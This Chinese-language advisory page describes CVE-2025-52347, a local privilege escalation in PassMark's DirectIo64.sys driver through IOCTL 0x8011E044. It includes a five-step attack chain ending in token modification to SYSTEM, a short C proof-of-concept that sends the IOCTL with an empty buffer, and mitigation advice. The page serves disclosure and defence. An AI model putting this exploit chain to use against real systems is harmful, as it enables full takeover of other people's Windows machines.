IPBUF安全漏洞报告
English
CVE-2025-52347 CVSS 7.8 高危

CVE-2025-52347 PassMark组件权限提升漏洞

披露日期: 2026-05-01

漏洞信息

漏洞编号
CVE-2025-52347
漏洞类型
权限提升
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
PassMark BurnInTest, OSForensics, PerformanceTest

相关标签

权限提升内核漏洞驱动漏洞LPEPassMarkIOCTL

漏洞概述

PassMark BurnInTest、OSForensics及PerformanceTest软件中的DirectIo64.sys驱动组件存在严重安全漏洞。由于该驱动未对用户传入的输入进行严格验证,攻击者可通过发送恶意构造的IOCTL 0x8011E044请求,访问受保护的内核内存区域。该漏洞CVSS v3.1评分为7.8,属高危级别。本地低权限攻击者无需用户交互即可利用此漏洞,破坏系统的机密性、完整性和可用性,进而实现本地权限提升至SYSTEM级别。

技术细节

该漏洞的核心在于DirectIo64.sys内核驱动程序对IOCTL控制码0x8011E044的处理逻辑存在缺陷。驱动程序在处理来自用户模式应用程序的请求时,未能充分验证输入缓冲区的长度或地址的合法性。攻击者可以利用此缺陷,通过特制的应用程序向驱动发送恶意数据,触发任意内存读写操作。通过修改内核中的关键数据结构(如进程令牌),攻击者可以将当前低权限进程提升为SYSTEM权限,从而完全控制受影响的Windows系统。

攻击链分析

STEP 1
侦察
攻击者确认目标系统上安装了PassMark BurnInTest、OSForensics或PerformanceTest软件,并检测DirectIo64.sys驱动的存在。
STEP 2
初始访问
攻击者在目标机器上获得低权限的代码执行能力(如通过普通用户shell或恶意软件投放)。
STEP 3
漏洞利用
攻击者运行特制的利用程序,打开设备句柄,并向DirectIo64.sys驱动发送恶意构造的IOCTL 0x8011E044请求。
STEP 4
权限提升
漏洞触发后,攻击者利用内核读写能力修改当前进程的访问令牌(Token),将其权限提升为SYSTEM。
STEP 5
目标达成
攻击者获得系统最高权限,可以执行任意操作,包括安装后门、窃取数据或破坏系统完整性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <windows.h> #include <stdio.h> // Define the vulnerable IOCTL code #define VULNERABLE_IOCTL 0x8011E044 int main() { // Open a handle to the device driver HANDLE hDevice = CreateFileA("\\\\.\\DirectIo", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Error: %d\n", GetLastError()); return 1; } printf("[+] Device handle opened successfully.\n"); DWORD bytesReturned; char inputBuffer[0x100] = {0}; // Malicious input buffer char outputBuffer[0x100] = {0}; // Trigger the vulnerability by sending the IOCTL printf("[*] Sending malicious IOCTL request...\n"); BOOL result = DeviceIoControl(hDevice, VULNERABLE_IOCTL, inputBuffer, sizeof(inputBuffer), outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL); if (result) { printf("[+] IOCTL call successful! Potential LPE triggered.\n"); } else { printf("[-] IOCTL call failed. Error: %d\n", GetLastError()); } CloseHandle(hDevice); return 0; }

影响范围

PassMark BurnInTest v11.0 Build 1011
OSForensics v11.1 Build 1007
PerformanceTest v11.1 Build 1004

防御指南

临时缓解措施
建议立即停止使用受影响的版本,直至更新补丁可用。对于必须继续使用的环境,应严格限制对驱动程序的访问权限,并监控系统中异常的IOCTL调用行为,尤其是针对DirectIo设备的操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表